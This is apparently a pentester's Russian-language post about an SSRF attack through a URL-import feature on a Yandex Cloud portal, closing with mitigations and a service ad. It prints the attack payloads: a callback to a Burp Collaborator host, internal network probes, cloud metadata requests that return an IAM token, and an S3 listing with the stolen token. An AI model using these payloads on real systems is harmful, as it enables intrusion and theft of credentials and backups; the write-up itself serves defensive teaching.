🕳 Как я попал во внутреннюю сеть через кнопку «Импорт по URL»
Проект - корпоративный портал российской компании на Яндекс.Облаке. Клиент уверен: «у нас WAF, сканеры ничего не нашли». Классика.
🔍 Точка входа
Форма загрузки данных: «Вставьте ссылку на файл». Разработчики думали, что туда будут вставлять только https://example.ru/data.csv. Не угадали.
🧪 Шаги атаки
Шаг 1 - проверяю, делает ли сервер запросы от себя:
url=http://attacker.burpcollaborator.net
Пинг пришёл. Сервер ходит по URL сам. Уже интересно 😏
Шаг 2 - пробую внутреннюю сеть:
url=http://10.0.0.1
Разница во времени ответов - значит, там что-то живёт.
Шаг 3 - метадата Яндекс.Облака (аналог AWS IMDSv1):
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
💥 Сервер вернул IAM-токен сервисного аккаунта с широкими правами.
Шаг 4 - с токеном иду в Yandex Object Storage:
aws s3 ls s3://prod-backups/ \
—endpoint-url=https://storage.yandexcloud.net \
—profile stolen
Вижу бакет db-backups-prod. Внутри - .sql.gz за полгода. База пользователей, хеши паролей, транзакции. Всё, гейм овер.
🤦 Почему WAF не помог
WAF фильтровал входящий трафик снаружи. А запрос к 169.254.169.254 уходил изнутри приложения - для WAF это выглядело как нормальная работа сервиса. Ноль алертов.
🛠 Как чинить
- Whitelist разрешённых доменов - только конкретные хосты, никаких IP
- Заблокировать запросы к 169.254.169.254, 10.0.0.0/8, 192.168.0.0/16 на уровне firewall/iptables
- В Яндекс.Облаке - отозвать избыточные права сервисного аккаунта, включить аудит-лог
- Принцип минимальных привилегий: бакет с бэкапами не должен быть доступен из приложения
💬 Мораль
Яндекс.Облако, VK Cloud, Selectel - SSRF работает везде, где есть метадата-эндпоинт и «удобная» фича импорта по URL. Платформа меняется, грабли - нет.
📩 Хочешь проверить своё приложение - пиши по контакту в тг: @timcore1. Работаю по договору, NDA, отчёт с доказательной базой.
#пентест #SSRF #ЯндексОблако #кибербезопасность #webpentesting
